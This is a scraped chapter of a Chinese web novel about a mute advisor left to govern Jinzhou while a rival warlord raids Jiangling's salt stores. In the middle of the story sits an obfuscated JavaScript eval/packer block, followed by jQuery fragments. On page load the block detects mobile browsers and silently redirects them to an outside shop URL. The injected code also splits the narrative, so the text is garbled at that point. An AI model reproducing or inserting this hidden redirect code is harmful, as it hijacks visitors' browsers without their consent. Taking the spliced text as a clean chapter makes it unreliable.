文趣网 > 其他小说 > 乱世女婢升职记 > 15. 江陵府井盐
    宋舒张张嘴。

    喉中发出老旧鼓风机般的“呼呼”声。

    还是没用,宋舒有气无力地闭上嘴。

    裴邡挑眉,“能开口,就行。江陵府尤为名医,我过两日将带你去将人绑回来。”

    大可不必。

    就宋舒这个小身板,上了战场一个不留神,命就没了。

    她对自己的认知十分清晰,拒绝了裴邡的水战邀约,表示金州内部可能更加需要她。

    裴邡眉梢轻挑,有些失望地“哦”了声。

    懒洋洋地坐回软垫,似笑非笑的打量着宋舒。

    “既然如此,本使君也不好过多勉强。那就劳烦小宋先生帮忙照看好金州城。”

    这句话乍一听没什么问题,但——

    宋舒眼皮疯狂跳动。

    没拒绝,但也没答应,全当没听懂。

    裴邡露出一嘴的大白牙,身子前倾将桌子上的公文全部推入宋舒怀中。

    “既如此,金州城内大小事务就全权交给小宋先生了。”

    “轰——”,晴天霹雳。

    整个金州城?

    宋舒回忆了下,周先生前几日那副要死不活的模样。

    那会累死人的吧?

    门外传来一阵雀跃的脚步声,裴邡懒懒打了声哈欠。

    “也不必麻烦,小宋先生留在此处处理政务即可,本使君要有要——”

    裴邡起身,抬脚要走,衣服下摆却传来一股拉扯感。

    低头,恍然大悟,重重一拍额头,“嗐,险些忘了这事。”

    裴邡抬手摘下自己的腰牌,弯腰塞入宋舒怀中。

    “见此腰牌,如见本团练使亲临”,裴邡淡笑着抽住衣摆,离开时的背影潇洒到了极点。

    宋舒绝望捂脸,这人是不是有病?

    自己出门打仗,把这么大一个金州府丢给自己才来不到半月的外人,他疯了吗?

    他就不怕自己借机背刺?

    “宋娘,我就知道你是”,沈述手持红缨枪,看到宋舒的表情格外雀跃。

    宋舒的目光在沈述手中的那杆长枪上停留片刻,然后缓慢平移至沈述的脸上。

    所以剧情为什么会发生这么大的转变?

    沈述熟练踢开挡路的东西,将自己的红缨枪放在一边,笑嘻嘻凑到宋舒身边。

    “我听蕊儿那丫头说,你昨日能开口了,可是真的?”

    宋舒下颌微动。

    沈述的眼睛猛地一亮,“那你叫我一声听听,我还没听过你出声呢。”

    其实应当是听说的,只不过——

    沈述的眸光暗淡了一瞬,但又迅速恢复亮光。

    他激动地握住宋舒的手,“宋娘,快叫叫我嘛~”

    “咳咳——”

    这时门外传来一声响亮的咳嗽声。

    是裴邡。

    这人居然还没走?

    “沈述,男女授受不亲。”

    沈述愣了一瞬,下一秒不好意思的松开宋舒的手。

    “嘿嘿,宋娘实在对不住,我就是太激动了。”

    宋舒不以为意地耸耸肩。

    这人的性格和书中描写的还挺不一样。

    书中的李按背负了太多,总是一副冷淡不耐的模样。

    现在——

    宋舒唇角不由自主的上翘,眼眸微弯。

    这人原来还有这么鲜活的一面,也不知是因为所有的事情尚未发生;

    还是说——裴邡将她养得很好。

    她在欣赏旁人时,却不知自己在旁人眼中同样移不开眼。

    沈述的指节微动,随后快速抬手捏了捏宋舒的腮帮。

    可还不等宋舒做出反应,她就因为自己的动作羞得狼狈逃窜。

    面对裴邡黑沉沉的表情,她心虚地揉了揉鼻子。

    “哈哈,义兄,我在校场等你。”

    裴邡一把薅住沈述的后脖领,“你到底还记不记得自己的身份,如此孟浪轻浮到敢在老子面前调戏同僚,活得耐烦了是不是?”

    她到底什么时候才能记住自己现在是个男人,还是个面皮白皙,长相俊朗的男——人——

    没看到人家姑娘看着她的目光都带着光吗?

    他真不想天天跟在这人后面处理这种你情我不愿的烂摊子,好吗?

    沈述撇嘴,“义兄你不懂,宋娘同其它人不一样。”

    裴邡不稀罕听这人狡辩,“道歉。”

    沈述张张嘴,但裴邡一个眼神扫过来,她当即蔫吧了下去。

    “宋娘子,刚刚——”

    裴邡:“宋先生。”

    沈述:“宋先生,对不住,刚刚是我冒昧了。”

    宋舒用力抿着唇,生怕自己一个憋不住笑出了声。

    不同于团练使府邸的融洽氛围,狼狈逃窜回蜀地的军阀内部发生了剧烈的争执。

    “将军金州无盐,我们何必苦苦守在此处?”

    将军名叫王峥。

    蜀地内部大小军阀割据,他们因为势力弱,谁见了都要踹两脚。

    裴邡此人嚣张桀骜,得罪的人不少。

    王峥为盐是其一,最主要的还是取裴邡的项上人头讨讨好那群人。

    可惜裴邡这块骨头实在太硬,他不仅没咬动,还磕掉了好几个牙。

    王铮憋了一肚子的气,眼见着手底下的人越来越少,加之属下们苦口婆心的劝告。

    王铮沉重点头,“也罢,先将裴邡放到一边,可如今哪里还有盐矿?”

    众人的目光缓缓落在了江面,顺流而下两三日的功夫便能到江陵府。

    “可,江陵乃是南平的都城,咱们才几个人?”

    “咱们的人虽不多,可同咱们一样缺钱的军队可不少”,二把手凑到王铮耳边,低声细语了几句。

    南平向关中称臣,可关中近年早就是外强中干。

    他们冒充金州军队劫掠江陵,事后若能同南平那边扯上关系。

    日后干着倒卖江陵盐的生意,蜀地但凡缺盐的军队,只能求到他们头上。

    说干就干,王峥借着联合劫掠江陵井盐的由头,邀要来一众军阀。

    摔杯为号,将人就地解决。

    三日后带着最新收服的一众下首们,轰轰烈烈去了江陵府。

    一句“本使君乃是金州裴邡”,更是在江陵掀起轩然大波。

    一切比他们想得还要顺利。

    望着一船船洁白如雪的井盐,王铮笑得志得意满。

    汉江上商船络绎不绝,一派繁荣景象。

    然而也就是这个时候,不远处的某只商船上的人影却引起了王峥的注意。

    “裴,裴邡”,王峥面上血色顷刻间全部退散,后背深处渗出涔涔冷汗。

    “是裴邡,咱们中计了!全员戒备,快!”

    可直到那人的身影由远及近,王铮紧绷的身体猛地一松。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713442|208180||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>镖师?

    哈,自己当真是——

    都怪裴邡,对方给自己留的阴影实在太深。

    “咚!”

    却在此刻,王铮的大船剧烈晃动起来。

    对面那个身形同裴邡极为相似的镖师忽然掏出一把钩索,勾住他们的挡板。

    江面大大小小的商船开始朝他们聚拢而来。

    血水在汉江留下一滩惊艳的红,可三息过后,刚刚那抹艳丽红便被汉江吞噬。

    须臾江面再次归于平静。

    这是宋舒第一次看到如此壮观的情景,一艘又一艘的巨船停靠在岸边。

    一车又一车的麻袋被运送至城中,那些因为吃不到盐而身形浮肿,四肢无力的平民百姓探头好奇张望。

    裴邡亲自扛着一袋盐,“官府发盐,都过来排队。大人一碗,小孩半碗。”

    话音刚落,码头上便排满了长队。

    宋舒趴在城头望着下方的一切,恰巧遇到负责值守城门的花英。

    “宋先生在看什么?”

    宋舒抬头望向比自己高了整整一个脑袋的花英。

    “裴——”

    这两日宋舒能明显感觉到自己的嗓子好了不少。

    开口的时候虽然依旧费力,但不会感觉到喉咙中干痒得厉害。

    时不时就能蹦出一两个字。

    但有时候发音太用力,喉咙依旧会干痛。

    花英点头,“是啊,裴使君是我见过对百姓最好的人。”

    宋舒跟着点头,这一点无可否认。

    “宋先生觉得使君日后能走到哪种地步?”

    花英一口河南话,虽然是在提问,但眼光的光彩与野心毫不掩饰。

    宋舒轻笑着低头,“不知。”

    这样的回答明显不在花英的预料之中,她几乎是下意识开口。

    “为啥?”

    宋舒抬手轻点心口,“变。”

    “你。”

    “我。”

    “他。”

    “一,样。”

    历史书上多少人野心勃勃,又有多少人年迈之后,还能记得自己初时志向?

    花英嘴角的笑容缓缓褪去,低头打量着宋舒。

    “啥玩意,宋先生你能不能说清楚点,俺听不懂啊。”

    宋舒抿唇,憋着笑。

    她这目光反倒是让花英更加的不好意思,“俺知道自己说话好笑,宋先生想笑尽管笑,别憋坏喽~”

    宋舒摇头,指指自己的嗓子,又指向没墨了的竹管笔。

    不是花英的问题,是她没讲清楚。

    宋舒弯腰作揖向花英赔礼道歉。

    “在聊什么?”

    裴邡不知道什么时候上来的,大步朝二人的方向走来。

    “关中来信了,我明日出发。”

    宋舒蹙眉,这人该不会是来真的,这么大个城就留她一个人?

    “我把张邰和花英留给你,遇到棘手的事去找我娘,她会处理。”

    宋舒沉重点头,等待着这人继续交代城中大小的事物。

    但裴邡张张嘴,什么话都没说出来。

    可能是自己也觉得有些不好意思。

    “原本说给你绑了名医回来,但没找到人。这次我去关中一定把那人给揪出来。”

    宋舒:【然后呢?】

    裴邡尴尬挠头,然后迟疑着伸手拍了下宋舒肩膀。

    “辛苦了。”